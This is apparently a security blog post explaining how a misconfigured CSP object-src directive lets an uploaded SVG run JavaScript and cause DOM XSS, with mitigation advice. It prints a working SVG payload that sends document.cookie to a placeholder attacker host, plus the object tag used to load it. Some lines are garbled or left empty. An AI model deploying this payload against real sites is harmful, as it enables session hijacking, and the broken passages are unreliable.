CSP Bypass → DOM XSS: A Deep Dive

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Content Security Policy (CSP) is a critical security layer designed to mitigate XSS attacks. However, misconfigurations can lead to bypasses, resulting in DOM-based XSS.

Attack Breakdown

  1. Strict `script-src` but Open `object-src` – CSP allowed loading objects (e.g., SVGs) from untrusted sources.
  2. Malicious SVG Injection – An attacker uploaded an SVG file containing embedded JavaScript.
    3. `` Tag Exploitation – The SVG was loaded via <object data="evil.svg">, executing JS in the origin context.
  3. DOM Sink Trigger – The embedded JS accessed location.hash, leading to DOM XSS.

    4. You Should Know: Practical Exploitation

    1. Crafting a Malicious SVG

    
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> 
<script> 
alert('XSS via SVG'); 
window.location = 'https://attacker.com/steal?cookie=' + document.cookie; 
</script> 
</svg>

    2. Bypassing CSP with `object-src` Misconfiguration

    <!-- Exploit Code --> 
<object data="https://victim.com/uploads/evil.svg" type="image/svg+xml"></object>

    3. Testing CSP Policies

    Use CSP Evaluator (Google) to audit policies:

    curl -I https://example.com | grep -i "content-security-policy"

    4. Mitigation Steps

    • Restrict `object-src` to `’none’` or trusted domains.
    • Use `script-src ‘self’` and avoid inline scripts.
    • Implement Subresource Integrity (SRI) for external resources.

    Expected Vulnerable CSP Example

    Content-Security-Policy: script-src 'self'; object-src ;

    Fix:

    Content-Security-Policy: script-src 'self'; object-src 'none';

    Relevant Tools & Commands

    • CSP Auditor: 
      npm install -g csp-auditor
    • XSS Hunter (For PoC): 
      python3 -m http.server 8000  Host SVG payload

    What Undercode Say

    CSP misconfigurations remain a goldmine for attackers. Always audit policies, enforce strict directives, and test bypass techniques. DOM XSS via `object-src` is preventable—never leave it open.

    Prediction

    As CSP adoption grows, attackers will increasingly exploit overlooked directives like object-src, media-src, and frame-src. Expect more SVG-based XSS in 2025.

    Expected Output:

    A DOM XSS vulnerability via CSP bypass due to lax object-src.

    Relevant URLs

    IT/Security Reporter URL:

    Reported By: Deepak Saini – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

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